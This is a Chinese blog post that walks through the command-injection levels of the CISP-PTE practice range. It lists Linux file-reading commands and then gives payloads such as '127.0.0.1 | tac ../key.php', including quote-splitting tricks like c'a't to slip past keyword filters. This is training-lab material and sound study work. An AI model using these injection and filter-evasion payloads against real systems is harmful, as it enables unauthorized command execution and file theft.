cisp-pte靶场通关思路分享----命令注入篇

个人觉得这个命令注入是最简单的。

在这之前先来了解下读文件都可以用哪些命令吧。

linux常用于读取文件内容指令主要有以下七种:

cat、tac、nl、more、less、head、tail

cat:  由第一行开始显示内容,并将所有内容输出

cat 文件名        将文件内容显示在屏幕上

cat -n 文件名    将文件内容显示在屏幕上,并显示行号

cat -b 文件名    将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号

tac:  从最后一行倒序显示内容,并将所有内容输出

tac 文件名       将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出

nl: 类似于cat-n,显示时输出行号

nl 文件名         (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名     显示行号,空行也显示行号
nl -b t 文件名      显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名   行号字段所占用的位数
nl -n ln 文件名         行号在字段最前方那段空间最左端显示
nl -n rn 文件名        行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名         行号在字段最前方那段空间最右端端显示,且加0

more:根据窗口大小,一页一页的查看文件内容

more 文件名 

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

less  文件名

head:只显示头几行

haed 文件名 –显示文件头十行

tail:只显示最后几行

tail文件名 –显示文件尾部

 

靶场一:

 

 

 

直接构造payload:

127.0.0.1 | tac ../key.php

 

 

经测试,以下payload均可完成这道题。

127.0.0.1 | less ../key.php

127.0.0.1 | m'or'e ../key.php

127.0.0.1 | tail ../key.php

127.0.0.1 | v''i ../key.php

127.0.0.1 | c'a't ../key.php

127.0.0.1 | head ../key.php

127.0.0.1 | nl ../key.php

|od -c ../key.php

|xxd ../key.php

|xxd ../key.php|grep key

|grep "key" ../key.php

|sed -n '1,5p' ../key.php|grep key

 

靶场二:

 

 

 

 类似于第一个靶场,直接用刚才的payload试:

127.0.0.1 | m'or'e ../key.php  

 

 

经测试这个靶场可以用的payload:

127.0.0.1 | v''i ../key.php   

127.0.0.1 | c'a't ../key.php

127.0.0.1 |xxd ../key.php

127.0.0.1 |grep "key" ../key.php

 

到这里命令执行就搞定了,下一篇日志分析。

 

posted @ 2021-06-10 15:40  我有清茶与酒  阅读(1277)  评论(0编辑  收藏  举报